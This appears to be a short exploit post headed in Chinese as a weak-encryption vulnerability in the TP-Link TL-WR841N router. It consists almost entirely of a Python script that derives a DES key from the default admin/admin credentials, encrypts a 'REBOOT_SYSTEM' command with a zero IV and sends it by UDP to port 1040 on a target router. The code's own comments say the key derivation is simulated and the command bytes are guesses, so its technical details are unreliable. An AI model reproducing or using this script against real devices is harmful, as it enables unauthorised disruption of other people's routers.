CVE-2026-5039 TP-Link TL-WR841N 弱加密漏洞

import socket from Crypto.Cipher import DES from Crypto.Util.Padding import pad # Default credentials used to derive the key DEFAULT_USER = "admin" DEFAULT_PASS = "admin" def generate_key(user, password): # Simulate key derivation from default credentials raw = (user + password).encode('utf-8') key = raw[:8] if len(key) < 8: key = key.ljust(8, b'\x00') return key def send_exploit(target_ip, target_port=1040): # Generate predictable DES key key = generate_key(DEFAULT_USER, DEFAULT_PASS) # Initialize cipher with 0 IV (common in poorly implemented protocols) cipher = DES.new(key, DES.MODE_CBC, iv=b'\x00' * 8) # Craft malicious payload (e.g., reboot command) # Specific command bytes depend on TDDPv2 implementation payload = b"\x02\x00\x00\x00" + b"REBOOT_SYSTEM" encrypted_payload = cipher.encrypt(pad(payload, DES.block_size)) print(f"[+] Sending payload to {target_ip}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(encrypted_payload, (target_ip, target_port)) print("[+] Exploit payload sent.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with the target router IP target = "192.168.0.1" send_exploit(target)